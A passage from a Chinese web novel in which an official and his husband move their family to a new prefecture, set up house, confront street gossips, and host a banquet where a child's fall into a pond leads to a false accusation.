常金花端了一筐馒头往堂屋走,听到阿砚的话噗嗤一声笑了,“阿砚,只有小哥儿和女娘才想被别人夸漂亮,阿砚是男子汉。” 阿砚鼓起白白嫩嫩的腮帮子,使劲收着下巴表达自己的不满,“阿砚就是要漂漂!” 宋亭舟摸着他下巴上被挤出来的肉,“阿砚平时就很漂漂,但生气的时候就不漂亮了。” 阿砚大惊失色的捂着自己的脸颊,“真的吗?那阿砚不气惹!” 他不知从哪儿找来一面小镜子,吃饭的时候吃两口就拿起来照照,在意的不得了。 常金花笑的开怀,“这孩子可真是,也不知随了你和晚哥儿谁,小人精似的。” 阿砚咬了口馒头,口齿不清的回祖母,“随锅锅。” 楚辞悄无声息的勾唇浅笑。 看来太子这尊大佛走后,不光孟晚,全家都松懈了下来。 饭后宋亭舟又去了县衙,他这些天忙着将衙门的运作流程都详细记录下来,以方便新知县来时方便交接。 而且乔主簿心细如发,他用惯了,这次去西梧赴任想带上对方,还要去问问乔主簿的意见。若他同意,自己便为他向上级推举,任个正八品的府经历,继续在自己手底下理事。 没有谁是不想升官的,乔主簿一个四十来岁的秀才,能坐上府经历的位置已经极为体面了。 他知道宋亭舟要提拔自己后惊喜交集,虽然他这位上司平时派下的公务有点多,但待遇是真不错。 心中的喜悦还没落地,便见宋亭舟指着一摞子的账目让他整理。等新主簿上任后,他不光要与新主簿交接自己庞大的工作,还要向新知县汇报。 乔主簿苦哈哈忙碌的时候,宋亭舟已经效率极高的将新主簿找好了,便是卢溯的好友郑圆。 第5章 照磨 郑圆天分不如卢溯,考上秀才已经是顶天了。宋亭舟主动去他家找他,问他可想做赫山主簿的时候他直接傻了。 “宋大人,我……学生真的可以进县衙当差?” 可能是以后不会常见了,宋亭舟难得对赫山两个独苗露出抹笑意,“难不成我特意找过来骗你?” “不不不。”郑圆忙不迭的摇头,“大人怎么会骗人呢。” 宋亭舟拍了拍他的肩膀,“那还不尽快去县衙和乔主簿交接?不懂得趁机多多问他。” “是”郑圆被好消息砸晕了头脑,兴高采烈的去了县衙报到,只两天下来人就蔫了。 孟晚这边也有一大堆的事需要处理,糖坊他已经放心交给碧云了,这倒是没什么可操心的。但藕坊才刚刚起步,甚至一直都是零散的卖藕,还没到大肆收获的时候,等深秋收藕的时候,孟晚是要回来帮忙把关的。 而且他想把唐妗霜带到府城去做事,赫山就留下荷娘与懂哥儿他们。陈二一家经孟晚考察发现为人着实不错,他打算雇佣陈家人帮藕坊拉藕,大牛一个马大三粗的汉子,平日里还能镇住些偷鸡摸狗的人。 青杏一家也是要随他们去西梧府的,这点毋庸置疑,她们一家医术好不说,孟晚于她们有救命之恩,关乎家人身体性命等,孟晚轻易信不过新人。 还有窑场的风重师徒和徐老,徐老年纪大了,可能不愿折腾,但风重这个人才孟晚是一定要带走的。对方最近搞橡胶搞得热火朝天,孟晚也没想到会这么顺利。如今就差太子给的瓘玉局工匠,他便能在西梧重开一个正正经经的窑场来。 六月二十,新派来的赫山知县远道而来,他与吴昭远是同一届进士,只是两人平时没什么交情。这位新知县也没什么家世背景,不然不会被派到赫山来,毕竟岭南的名声只有小范围人知晓,名头还没彻底打出去。 但到了赫山后的所见所闻早已颠覆了他的认知,宋亭舟与他交接了几天工作,不轻不重的敲打了这位新知县几句。 毕竟赫山县是他一手建设成如今模样的,他是升官了,不是死了或者调走了,相较于其他县城,赫山他会一直关注的。 养鸡场低价转卖给陶家人,孟晚渐渐脱手手里的产业,常金花也把他的炸鸡铺子交给旁人打理。之后孟晚每月都会回来一趟巡视他名下的糖坊和藕坊,核对其中账目等,顺手就能将炸鸡店的营收和几间铺子的盈利带回给常金花。 他们家现在已经不差钱了,但自己挣钱自己花的踏实感是这个时代女性无法抗拒的,孟晚想着到了府城再给常金花找间铺子开开,她想去就去铺子里忙活,累了便在家休养。 一家子各忙各的,到齐盛二十九年夏,七月初二,宋亭舟雇佣的车马天还没亮便从巷子里出发。他们谁都没有通知,又不是不回来,免得引起许多愁绪。 守城兵开城门目送他们出了城门,突然在后面一嗓子嚎了句,“宋大人,一路走好!” 孟晚正坐在车辕上凉快呢,差点没被他一嗓子给顺便也送走了。 果不其然,后面家家户户都亮起了灯光,最奇葩的是县城外面的官道上也跑来一群人,都是各村的里长带着人和草席铺盖,也不知道守了几天,各个被蚊子吸了一脸大包。 “孟夫郎你要走怎么也没和大家说一声?要不是陶老头说漏了嘴,我们都不知道。” “宋大人,你去了……去了府城,可别忘了我们这群人啊!” 最年轻的里长就是水和村的,剩下基本都是年过半百的老头,他们顶着一脸大包哭着对宋亭舟和孟晚说话,语气比被抛弃的怨妇还可怜。 孟晚心里又感动又好笑,“大家快回去吧,我们只是去府城,又不是回北地,还会再回来的。” 宋亭舟则是细细同里长们交代,“新上任的王知县同样是个好官,本官走后若有什么冤屈,该报官报官,不可私自滥用私刑。” 他后一句话说得语气有些重,显然是怕自己走了之后,新知县镇不住场面,会被某些压制下去的当地势力打压。 里长们忙不迭的答应下来,毕竟槿姑杀夫案现在整个岭南无人不知无人不晓,赫山县没靠甘蔗闻名岭南,反倒靠着这么一出戏传遍境内。 辞别了村民们,宋亭舟一行人终于顺利上路。常金花晕车的毛病没好,病歪歪的靠在马车里受罪,阿寻和楚辞与她在同一辆马车上照顾她。 反而阿砚是头一次出远门,颇感新奇,但很快就败在高温和漫长的路途上。孟晚将他安置在车里,窗户全都大开,缝着薄薄的纱布,让其四面透风。车厢里面也奢侈的铺着柔软的纱罗,阿砚躺在上面睡觉虽然依旧很热,可身下是光滑且不沾身的。 孟晚一下一下的给他打着扇子,偶尔自己也扇两下。便是这样后几天阿砚也熬不住了,基本上天天睡醒都要哭上一场,路上也只能喝得下熬好后凉凉的藕粉。 等半个月后他们终于进了西梧府城门,阿砚已经瘦了整整两圈,常金花自己还不痛快,看见蔫答答的阿砚心疼的要死。 宋亭舟先将他们送到客栈安置,自己洗漱后换上官服去府衙报到。 痛痛快快的洗了个澡后,孟晚才觉得自己好似活了过来,实在是太热了! 这半个月的路程不是他们经历最远的,却是最难受折磨人的一回。 其他人都在各自休息,阿砚迷迷糊糊被黄叶抱着洗了个澡,这会儿又趴在床上睡着了。 这已经是客栈最好的房间,却也只是朝南有两个窗户,屋子里并不太通风,阿砚脸蛋脖颈都是细密的汗珠。 孟晚让黄叶打了盆凉水过来,浸湿了帕子给阿砚擦脸和脖子,帮他降降温度。等太阳稍微倾斜的时候,打了把油纸伞带着雪生去了牙行。 客栈不是久留之地,还是自己家才舒舒服服的。 孟晚找了官牙里的四五个牙子,都给发了赏钱,让他们在最短时间里给他找出两套靠近府衙的宅子出来。一个要两进的小宅子,一个要更大些,三进四进都成。 同知夫郎的名头再加上孟晚的大手笔,牙行的人态度尤为积极,第二天一早便地上来两本册子供孟晚查阅,上头还贴心的画好了简略的户型图纸。 他们急着入住,孟晚飞速选好离府衙隔了一条街,同一巷子内的两套宅子。小的一套两进的在巷口,缺点是宅子有些破旧,有些地方需要重新翻新。 大的那套四进的就巧了,正是上任刘知府曾经住过的宅子,里头器物用具一应俱全,简称拎包入住。 孟晚看了后比较满意,但仍谨慎的先问了问宋亭舟,“不会不合规制吧?” 宋亭舟让他放宽心,这种事就和国家规定的四十无子方可纳妾一样。律法本来规定的是一、二品官可以纳四妾,三、四品官可纳三妾,五、六品官二妾,七、八品官只能纳一妾。往下的平民百姓并无纳妾的权利,只能四十无子后方能纳妾。 听着还算合情理,但实际上地方乡绅不光纳妾,还有娶平妻的荒唐者。胡逖一个小小的七品官,纳了一后院的小妾。当上位者都不遵守的时候,这条律法便早就形同虚设了。 孟晚安心的买下刘知府留下的四进大院,让苗家人先暂住在其中一间单独的小院内,等巷口的宅子修整好了再搬过去。 医馆这三年也挣了些钱,但买宅子还是不够的。宅子孟晚买下,记在自己名下借住给苗家人住,不过这辈子应当是不会收回了。 “家里又买了新仆人?”常金花稀罕的在宅子里走走逛逛,这几天休息好,人又精神起来了。 孟晚陪着她四处逛,边介绍里面的院落景致,“这回咱家换的宅子大,光靠黄叶和秋色不得把他们累个好歹的?买了八个做粗使活计的,其中四个跟着秋色在门房前院,四个跟黄叶在后院管家里灶房和采买。”黄叶和秋色两个也算得上宅子里的小管事了。 “你说的也是。”但常金花还是有些不习惯,“我看灶房里也有个年轻媳妇儿?” “我花钱雇的。” 孟晚指着外头的烈日,“这天气你还有心思往灶房钻?” 常金花:“那我干啥?” 孟晚将她推送到自己屋子,“娘你先好好休息,过了这个难熬的夏天,你想做什么我帮你找铺面,苗家的铺面我还没找呢。” 常金花反过来叮嘱他,“你也是,今年气候这么热,少往外跑,多在家歇歇。” 孟晚弯着眼睛笑,“知道了,我看看家里还添置什么东西。” 刘知府上任走后将贵重东西都带走了,他家夫人是个精打细算的,大部分大件的家具也都带了去,留下些东西也不算好。 孟晚捡能用的叫人搬去前院,等苗家宅子修建好了给他们搬去用。自家的床和衣柜、屏风等要去木匠铺子买新的,没有现成的就交了定金重新打,他钱给的痛快, 宋亭舟这几日没有正式上衙,带着孟晚两人忙着给家里添置物件。 “这几年虽然有一半的钱投到县衙修路上面去了,但家里如今还是攒下了两万六千两白银。等藕粉做出去,利润会更加喜人,咱们也买上两样好家具撑撑场面?”孟晚走在树荫下,扇着扇子和宋亭舟说话。 藕粉他定义的身价是 宋亭舟都不知道他家家底现在这么丰厚,一时间有点愣神。 “你做什么这样傻傻的看我,娘手里还有一笔小金库呢!”孟晚好笑的看着他。 宋亭舟笑的有些无奈,“从前读书就是靠夫郎和娘,没成想做了官,家里还是要靠你们撑着。” 孟晚主动环上他半边的胳膊,“夫君不高升,我和娘再能赚钱都守不住,咱们家里正正好好,缺了谁都不行。”这个时代里女子和哥儿的处境是艰难的,若是宋亭舟只是一介白身,那他们最好的结果就是在昌平卖卖豆腐,做做油果子。 宋亭舟握着他的手温柔回视,“晚儿说的在理。” 他们刚从一家木匠铺子里出来,又到专门卖瓷器的民窑街走去,挑了些漂亮的陶瓷碗、陶瓷盘子和罐子等,付了钱让小二送到新宅里。 过后又从陶瓷铺子的掌柜口中,打探到专门贩卖织物与布料的地方,一个叫吉祥街的街道。 听说这条街的街头和街尾各开了一家染坊,使得周边聚集了众多颜料商行、布坊、成衣店等。 他们过去买些窗帘和帷幔,顺带逛逛街,等宋亭舟上衙,他们便又开始忙了。 进入吉祥街,里头确实热闹非凡,但人多是非就多。西梧府以前因为黑叶县的荔枝和沙坑县的橘子,算是岭南各府排在前头的其中一个。 能定居在府城里的都是小有资本的人,三三两两上了岁数的大婶,为主家置办物什的丫鬟小厮,站在铺子门口绕价的摊贩等。宋亭舟和孟晚进来后,总有那么三两道目光瞥过来,或是好奇、或是惊艳的打量,但最多的却是鄙夷。 “光天化日的,这天还没黑呢,就当街拉上手了?” “真是不知羞耻,长得那个狐媚样子,不知是哪个窑子出来的呢!” “窑子里的?我看不像吧?” “说不准,不然谁好人家的夫郎行事这般放荡?” 宋亭舟脚步一顿,拉着孟晚渐渐向说闲话的那批人靠近。他身高高大挺拔,脸上没有笑意的时候又冷冽如冰,目若寒潭。越是靠近便越是能感受到他强大的压迫感。 那几个相看布料的妇人被吓得话都说不利索,相互搀扶着往后面退,“你……你想做什么!” “我们不过是交谈几句,你若是身正不怕影子斜,还怕我们说不成!”有个身着石榴红长裙的妇人强撑起派头冲宋亭舟叫嚷。 可能是被宋亭舟的气势吓的,她喊声都有些破音了,哪怕是热闹的街道上都很突出,引来许多人关注。 宋亭舟黑眸幽深,声音深沉有力,“我与夫郎携手闲逛,并无触犯禹国任何条例,但你当街辱骂旁人,却是犯了骂詈罪。” 那妇人见周边聚了人过来看热闹,其中还有她家小厮,像是突然间有了仪仗,“还跟我扯律法,知道本夫人是谁吗?” 她叉着腰大声嚷道:“府衙里的照磨是我亲弟弟,你去府衙敲鼓告我啊?你去告啊?” 宋亭舟声音里罕见带了丝怒意,“府衙从九品的陈照磨是吗?家人行径嚣张,只怕也不是什么能堪用的。” “你怎么知道我弟弟姓陈?你是什么人?何为堪用不堪用,你给我说清楚!”那妇人越听越不对,语气急促的连番质问宋亭舟。 孟晚站在她面前不怀好意的说:“你这长舌妇,回去问问你的照磨弟弟不就知道了吗?往后还是多积口德,再花钱去其他地界给你弟弟捐官吧。西梧府,他这辈子就别想了。” 第6章 宴客 宋亭舟鲜少做那种以权欺人的事,这次可见是叫那几个妇人给气惨了。孟晚这个被骂的还没觉得怎么样,宋亭舟却冷着脸拉他离开。 那妇人迈开腿想追,又觉得周围凑了这么多人面子上实在挂不住,期期艾艾的喊了两声,便脚步匆忙的走出巷子,估计是着急回家找她的照磨弟弟去了。 孟晚小跑着被宋亭舟牵着走,见他大步流星压着气的背影,没忍住微微垂首无声的笑。 前头的宋亭舟可能是怒气渐消,回过神来自己走的太快了,停下步子将孟晚带到自己身侧,两人再缓缓回家。 路上的时候再仔细一看,周围确实有许多人在看他们牵手,只不过目光比较隐晦,离得又远,所以他们才没注意到。不像吉祥街里人挤人,那些评头论足的妇人便格外引人注意。 握着孟晚手的力道加重一分,宋亭舟冷着声似有不满,“西梧做为府城,当地民风竟还不如赫山县。” 孟晚笑着安抚他,“赫山县地方偏僻,吃都吃不饱,什么礼仪教养有活着重要?后来全县的百姓感激你还来不及,怎么敢说咱们闲话?你等着吧,西梧府的热闹还有呢。” 规矩多的如盛京城,却也等级分明,教导子女家人行事谨慎。起码没有几个九品芝麻官的亲眷敢当街胡咧咧的,真有身份背景也大多是暗戳戳的挤压人。 他们回家时家里晚饭都快做好了,用膳的时候不用人伺候,也没什么食不言寝不语的规矩。 阿砚单手托着下巴,没精打采的吃了口碗里的小排骨,两道颜色浅淡的眉毛皱了起来。 天气太热,他不想吃肉了。 孟晚余光见楚辞顺理成章的接过阿砚夹过去的小排骨,“每个人都要把自己碗里的东西吃光哦,沾了自己口水的东西给别人非常没有礼貌。” 阿砚快三岁了,已经有了羞耻心,闻言默默的将碗往楚辞那边挪了挪,示意他把排骨还回来。 楚辞看了眼孟晚的脸色,干脆利落的把排骨吃了,顺手夹了一筷子凉拌青笋到阿砚碗里。 阿砚弯起红润的小嘴巴,嗷呜一口将青笋吃了。 孟晚当作没看见他们的互动,楚辞现如今越来越把宋家当成自己家了,这样很好。 一顿饭还没吃完,秋色从前院过来禀告,“大人,夫郎,大门外有个自称是大人下属的登门拜访,还带了个妇人。” 孟晚夹菜的动作不停,“呦,来的还挺快,我还以为要明天呢。” 宋亭舟只有简简单单的两个字,“不见。” 秋色看看两人脸色,迅速退下,“是。” 家里的窗帘帷幔没买上,孟晚也没心思再去,便让黄叶带着两个丫鬟去采购了一批回来。 过了两日家里的事都置办妥当,门房便开始陆续收到各路帖子,都是要登门拜访的。还有些来路不明的礼物,听秋色说是放到门前人就走了。 孟晚叫他不许动,就放门口。爱谁偷谁偷,想谁拿就谁拿,反正没有进他家大门。 “怎么办,连你新任知府都过问了,不宴请一番怕是过不去。”孟晚拿着手里的一沓帖子对宋亭舟说。 宋亭舟随意揭开了一封查看,“那便置办一番吧,也不必太过隆重奢华。”毕竟他只是西梧府的二把手,万事不能盖过新任知府上头。 孟晚头次置办席面,宴请官员,有些手生却不慌乱。定桌子,选定酒水。他家厨娘水平一般,用来宴请客人做席面是不够的,只能到酒楼里聘请几个大厨。 席面要用的菜肉也要提前选定,零零散散一大堆的麻烦事,真到了用人的时候才发现,从藕坊跟他来的唐妗霜竟然出奇的好用。 大部分的杂事都是他交代几句,唐妗霜带黄叶秋色一一采买的,省下孟晚许多琐事,他只需在家决策即可。 “这两道菜有些重复,划下去,换成胭脂鹅脯和鸡汤笋。”孟晚倚在堂屋的竹倚上,手里拿着唐妗霜拟好的菜单,手边放着一盘子冰镇的葡萄,有一搭没一搭的吃着。 “东家,我听说这两道菜是知府夫人最爱用的。”唐妗霜是个能人,也不知从哪儿旁敲侧击的打听到了知府夫人的喜好。 孟晚懒洋洋的说:“曾知府是从西梧府同知升上去的,今年年满六十二,重孙子都比阿砚还大两岁。他们夫妻俩是北地人不假,可来西梧府这么些年,口味有大半的可能会变。” 孟晚剥了颗葡萄送进口中,甜酸正好,“再说了,就算他们口味没有变化,还是喜欢吃肉,这么大的年纪多食肉类也不克化。菜单上已经有四喜丸子和琥珀凝香肘了,再加上这两道略显油腻。不必刻意为了哪家夫人夫郎更改菜单,无功无过即可。” 这里头又有许多门道,宋亭舟在御前被皇上夸赞是所有朝廷官员都知道的事,谁都清楚他功绩卓越,升迁只是迟早的。 当下西梧知府早就到了致仕的年纪,还能坐上西梧知府的位置是因为在给宋亭舟占地方,甚至用不到三年,他可能就要给宋亭舟挪地方了。 所以做为宋亭舟的夫郎,孟晚不必左右逢源的迁就其他夫人夫郎,反而显得小家子气惹人笑话。 唐妗霜是聪明人,孟晚只是略微提点几句,他就明白了关窍,“我懂了东家,这就下去交代换菜。” 他走后黄叶还晕头转脑的琢磨其中关系。他来宋家早,人又小又忠心,孟晚对他更亲厚喜欢些,“这次是难得的机会,遇事多别自己乱想,多问问唐妗霜。他能教你许多,多多学着,往后总能用得上的。” “是,我知道了夫郎。”黄叶说完退下,快步追上快要走远的唐妗霜。 宋家的宴席定在了八月初二那天,送帖子也有讲究,最简单的,从官大的开始送。 为保不出纰漏,雪生亲自上门送贴。 八月初二当天,孟晚和宋亭舟各换了一身新做的衣裳。同色朱红罗纱外罩长衫,轻轻薄薄的一层,颜色略暗,其实是不适合做夏衫的。 但宋亭舟想和孟晚穿一样色系,他们的衣裳浅色都是青、蓝、白三色,少有穿红戴绿,所以这次便各做了两件红色的。 他们亲自站在门外迎人,宛若一对新婚的璧人,令人挪不开眼睛。 “晚儿,这位是曾知府的夫人。” 知府大人是上官,为显身份是不会亲自登门的,来的是他夫人和孙子孙媳。 “老身早闻孟夫郎大名,特意带着儿孙们过来见识一番。”曾老夫人就是个寻常的老太太,一脸慈祥,说话也十分谦逊。 孟晚挂起标准笑容,弯下身子对她揖了一礼,“曾老夫人客气了,晚辈只是做些小买卖罢了。” 两人客气的寒暄两句,曾家的孙媳妇也欠身对孟晚失礼,“见过孟夫郎。” 她姓覃,覃家是西梧当地的大姓,传承几代的乡绅。那天孟晚和宋亭舟去的吉祥街,两家染坊之一便是覃家的。 不光如此,曾老夫人的儿媳也是覃家的人,小谭氏这个孙媳往上管自己婆母叫姑姑。 孟晚亲自带人到内院落座,由常金花这个不善言辞的招待。刚开始局促的她手脚都不知道该往哪儿放,幸好曾老夫人为人还算和善,又有阿砚在一旁缓解尴尬。 “这孩子看着就像是个有福气的,长得也像宋大人。”曾老妇人笑呵呵的说。 人老了就喜欢看些活泼好动的小孩,更别说阿砚这样长得粉雕玉琢的。 “鹃娘,去和弟弟玩会儿。”小谭氏对女儿说。 男宾在前院,小谭氏还带了女儿过来,那小姑娘看着比阿砚大一两岁的模样,穿着粉色的裙子,显得肤色有些黝黑。 听到她娘的话,鹃娘怯生生的走到阿砚身边,“弟……弟弟,你要和我一起玩吗?” 她声音比嗡嗡乱响的蚊子也大不了多少,阿砚等她说第三遍才反应过来是在和自己说话,歪头看她答应道:“好哦。” “说话大声些,畏畏缩缩的做什么?”小谭氏有些不满女儿一副小家子气的样子,从进门起就一直暗暗和孟晚比较,穿着打扮、年龄相貌,到现在两人的孩子。 家里如今园子大,里头有座小小的两座池塘,种着以前就有的一池莲花。有常金花不放心阿砚独自在院里玩耍,都是叫家里一个叫朱颜的小丫头跟着。 “朱颜,你和朱砂跟着,仔细着看着小公子,别让他去花园,也别去他哥的院里。”楚辞的院子里都是药草,且多是带着毒性的东西,只有他亲自带着阿砚进去才安全。 朱颜小小巧巧的一个,只有十二岁,说话做事却很成熟稳当。朱砂更小,只有六岁。 孟晚当时挑她们俩是因为她们是一对姐妹,家里都饿死了,姐姐才自己带着妹妹卖身牙行。且她还知道来府城找官牙发卖自己,是个心里有主见的孩子。可以从小培养培养,将来他们一家或是回京或是去其他地界,都能带在身边。 两人亦步亦趋的跟在阿砚和鹃娘后面,鹃娘身后也跟了两个丫鬟,四人目不转睛的盯着自家小主子。 宋亭舟在西梧府的面子很大,发了帖子的人家就没有不来的,除此之外之前给他们道乔迁之喜的乡绅也都请了过来。如此一来前宅后院宾客满棚,座无虚席。 时辰差不多了,陆续客人都已到场,孟晚便先回后院招呼客人。宋亭舟吩咐秋色在门口守着,自己也转身进门,余光瞥见一个穿着灰色衣衫的男子在往这边赶,冷冷的交代了一句,“没有请柬的,一个也不许放进来。” 灰衣男子已经赶到近前,刚好听见他这么一句话,一张脸涨的通红。但关乎仕途,他只能厚着脸皮凑上去,“大人何必这般苛刻,家姐实在不知大人身份,这才……” 对上宋亭舟的冷眼,下面的话他说什么也说不出口了。 “对亲眷如此不加管教,冲撞了我事小,他日谁知会不会作威作福,鱼肉百姓?” 灰衣男子呐呐的说:“姐姐从小照看我长大,又供我读书考取功名,是个极其善良的女子,她……她不会的。” 宋亭舟神情愈发淡漠,再懒得对他多费口舌,转身欲离开。 灰衣男子这才惊觉自己是来同上官求情,不要革自己职位,不知不觉又得罪了人。“大人,是下官不对,下官明日一早就带家姐来登门认错。下官家境贫寒,又手无缚鸡之力,只能靠这点微薄的贡粮养活家里,还请大人再给下官一次机会。” 宋亭舟挥袖离去,“你愿意来便来吧。” 灰衣男子还要再喊,秋色看不过去提点了他一句,“我家大人的意思便是答应了你明日上门,到时莫要再说些不知死活的话惹了我家大人了。” 灰衣男子大喜过望,“好,好,多谢小哥提点。”他从袖兜里掏出几个铜板递给秋色。 秋色才看不上他这几个钱,推脱不要。 结果灰衣男子又掏出二两碎银出来一并要塞给秋色,没谁是不爱财的,何况只是点拨两句。 秋色左右看看,见围在他宋家门口看热闹的百姓都已散去,宋亭舟和孟晚也不在,便偷偷把钱揣进怀里。 “你别总一个劲儿的对我家大人道歉,我家夫郎才是家里管事的主子。明早来了让你姐态度恭敬诚恳些,我家夫郎可不是好糊弄的,心若不诚,一样白来。”秋色看在银子的份上又多指点了他几句。 灰衣男子难以置信的走了,临走还能听到他小口小口的吸气声,“宋大人如此英明神武,竟然还惧内?” 后院的孟晚还不知道有傻子乱猜他和宋亭舟的相处模式,他正长袖善舞的同众位夫人交际。言语间滴水不漏,该客气客气,该端着端着。用做这么几年买卖的经验对付这群官员夫人,简直手到擒来。 等宴席即将结束的时候,小覃夫人派去跟着鹃娘的丫鬟突然小跑过来。在坐的夫人夫郎都是在府城有头有脸的,甚至她娘家嫂子也来了。丫鬟这般没规矩难免叫人小声议论几句。 小覃夫人忙低声喝道:“教你的规矩都忘到狗肚子里去了,什么事慌慌张张的!” 那丫鬟被她一呵,“扑通”一声便跪到地上,“少夫人,娟姐儿刚才掉进池塘里去了!” 第7章 指认 等赶到园子里一看,才发现事情并没有想象中糟糕。池塘边缘水浅,也就到大人膝盖往上的位置,鹃娘掉下去没呛到水,只是全身上下都湿淋淋的挂着些青苔。 “呜呜呜……” “啊……我要回家!” “娘……我要娘。” “阿爹你快来……呜呜呜。” 这会儿花园的小孩不光阿砚和鹃娘两人,还有许多宾客的孩子。小孩子坐不住,吃了一会儿就开始吵闹,大人们怕在宋家失了分寸,就让丫鬟们带出来玩。 各家的公子小姐身边都带了人来,但孩子一多就有些看不过来了。玩耍间鹃娘不知道被谁推了一下,她身边的丫鬟没扶稳两人一同掉进了池塘里,好在池塘边缘不深,立即便被其他丫鬟捞了上来。 跟着鹃娘的两个丫鬟都不大稳重,慌里慌张的便扔下小姐去找小覃氏,这才有了席面上的情景。 小覃氏脸色铁青,回首先甩了去找她的那个丫鬟一巴掌,又怒责另一个护在鹃娘身边湿了身的,“没用的东西,连个孩子都看不住,看我回去怎么收拾你!” 她说完余光扫了一眼鹃娘,见她没事也没上前安慰,反倒是鹃娘的太奶奶曾老夫人上前攥住她冰凉的小手,“让曾祖母瞧瞧,这是给我们姐儿吓着了?不怕不怕,告诉祖母你是怎么掉下去的?” 夏季炎热,鹃娘掉下去是不冷的,可这会儿却打了两字摆子。她眼神不自觉瞥向人群里一个胖乎乎的小男孩,反被那男孩恶狠狠的瞪了一眼,吓得眼泪含在眼睛里,委委屈屈的说:“曾祖母,没……没人推我。” 孩子说的谎言,在大人看来一目了然。这群孩子有大有小,最大的就是那个胖乎乎的小男孩,约莫有八岁了,最小的则是孟晚的阿砚。 孟晚先找了一圈,见自己儿子安然无恙,没哭没嚎,瞬间放下了心。“都是我家仆人少,让孩子们都吓着了,我在这儿给夫人夫郎们赔个不是。” 除了曾家人,都是家世不及宋家的,哪敢受他的礼,忙客气道:“不碍事,不碍事。” “是啊,孩子们磕磕碰碰都是常事,孟夫郎不必介怀。” 孩子里有文静的就有淘气使坏的,确实怪不到孟晚身上来。但他作为东道主,态度必须要摆出来。 他歉意的对众人揖了一礼,然后对小覃氏说:“鹃娘身上都湿了,小覃夫人若是放心,便让我家下人带她去洗个澡,再换身衣裳吧。” 小覃氏不干,这么多人都在旁边看着,她女儿被人推到池塘里的事就这么算了的话,往后她在后宅走动谁还会拿她当回事? 她没回孟晚的话,走到鹃娘身边揪着她一边的胳膊,冷着脸问:“秀梅刚才去都和我说了,是有人把你推下水的,再敢骗我回去就别进我屋里,我也不认你这个女儿!” 孟晚莫名其妙的看着这一幕,他是真有些不懂,自己亲生骨肉,至于为了点小事说这么狠的话? 大人都觉得这话过分,何况是才五岁的鹃娘。她直接吓哭了,拽着小覃氏的裙摆生怕她真的不要自己,“娘,我说,你别不要我。” 鹃娘一手抹着眼泪,一手往胖男孩那边指,怎料小覃氏脸色变得更差,“你看清楚没有就乱指,你表哥怎么会推你?” 原来那个胖乎乎的小男孩正是她娘家哥哥的儿子,小覃氏的亲侄儿。 鹃娘本来年纪就小,连番受了惊吓后自己都不大自信了,手指弯弯曲曲的又往覃家孩子身边指,那里面正站着阿砚。 “那……那是他?” 小覃氏眼睛扫向阿砚,正要说些什么,听到风声被宋亭舟派来的楚辞大步过来,二话没说就将阿砚抱在怀里,面色不悦的扫了眼小覃氏。 孟晚对他笑了一下,然后同在扬众人说道:“这是我干儿子,护弟心切,望诸位见谅。” “孟夫郎哪里的话,手足和睦才显亲厚,我们羡慕还羡慕不来的。” “就是,我家里那几个天天吵得死去活来。” 谁还敢多说什么,都是夸赞的话。 孟晚听她们恭维两句,口风一转又对小覃氏说:“阿砚还不到三岁,鹃娘是瘦弱,可也快五岁了,会被比她小两岁的孩子推倒?” 他这会儿其实已经有些不耐了,他有时候是喜欢吃瓜不错,可要说有多少耐心和这群人掰扯这点小事,那还真是没有。孟晚只觉得浪费时间。 孟晚问在楚辞怀里一脸懵逼的阿砚,“乖宝,鹃娘说是你推了她,你推了没有?” 阿砚有一点很像宋亭舟,就是情绪极其稳定,轻易不会动怒。他摇摇自己的小脑袋,“阿砚没有。” “那你看见是谁推得吗?”孟晚又问。 阿砚还是摇摇头,“没看见。” 这时候有个孩子叫出声,“我看见啦,就是覃永顺推的!” “康儿,不许胡说。”出生的孩子是通判之子,也有六岁大。通判夫郎大概是怕得罪人,急忙制止他。 孟晚轻描淡写的说:“既然不是阿砚推得,鹃娘要向弟弟道个歉。” 他倒不是非要为难小姑娘,只是她娘小覃氏眼见着就要把脏水泼到他儿子身上,孟晚已经动了气。 “对……对不起阿砚弟弟……呜呜呜。”鹃娘被大人间的氛围吓到,只觉得都是自己的错,可旁人看的清清楚楚,明明都是大人间的眉眼关司。 小覃氏护着自己侄子,委屈自己女儿,还头脑发昏的想在孟夫郎面前摆谱。 孟晚还不怕别人使坏使到他面前,摸了两下鹃娘半湿的发鬓以做安抚,出乎意外的看见她颈下似乎有大块的青色痕迹。 孟晚动作一顿,放下手笑盈盈的对一副小霸王模样的谭永顺说:“覃小公子,既是你推的人,便同妹妹道个歉吧?” 谭永顺在家里霸道惯了,怎么会和最看不上的鹃娘道歉,当即躺在地上撒泼打滚。 覃夫人心疼儿子哭坏了身子,忙哄劝着将孩子从地上抱起来,又许多众多好处才哄住哭声,“孟夫郎,实在抱歉,因为我家孩子的事给您添了麻烦。等我回了家,定然是要带永顺去他姑姑家道歉的,不然今日就算了吧?” 不知心里如何作想,起码覃夫人面儿上对孟晚很是客气。 孟晚扶了扶头上的金簪,这是他今日特意戴上的两根累丝金簪,在曜日的照映下,金丝缠绕的纹路流转着细碎光晕。簪头嵌着的红宝石比金簪的簪身更加璀璨,衬得他比平日多了几分富丽华贵。 孟晚扬起一张无懈可击的笑脸,“覃夫人客气了,既然是二位夫人的家事,我作为外人,自然是不便掺与。” 覃夫人神色尴尬的笑笑,“席面也吃好了,我便带着孩子先回去了。” “夫人慢走,我就不多送了,叶哥儿,你去帮我送送覃夫人。”孟晚指使黄叶。 按照阶级来说,一个商户妻子,还不值当他亲自送到门口,客气客气就算了。正好敲打敲打其他想摆谱的人。 一直默不作声的曾老夫人对孟晚说道:“孟夫郎,既然事情有了着落,烦请你借间屋子给我们,也好让鹃娘换身干净衣裳。” “老夫人莫急,我这就叫人带你们过去,只是我家没有适龄女童的衣衫,不若让下人去成衣铺子买上一身?” “孟夫郎不必麻烦,我们叫人回家取来便是了。”曾老夫人客气道。 孟晚神情莫测,刚才他说带鹃娘去换衣没人吭声,这会儿才想起来孩子身上还湿着吗? 真是有趣。 他对给给曾家人带路的朱颜使了个眼色,也不知道小孩看没看懂。 出了这么档子事,其实谁都不愿多留,但碍于宋亭舟的官威,一时间也不好告辞离开。便三三两两在花园里吃茶聊天,消磨着时间,等待前院喝酒的男人一起回家。 孟晚奖励儿子盘水果拼盘,让楚辞带他回自己的小院一起吃。楚辞之前在前院估计也不愿多待,正好让阿砚解救他回来。 “杜夫郎怎么自己在亭子里坐着?”孟晚端了盘果盘放到一位夫郎面前的石桌上。 这夫郎就是刚才不让儿子出声的那位,夫君是新上任的通判,比他们还晚来几天的样子,目前连个正经住所也没有,送帖子都是宋亭舟直接在衙门送的。 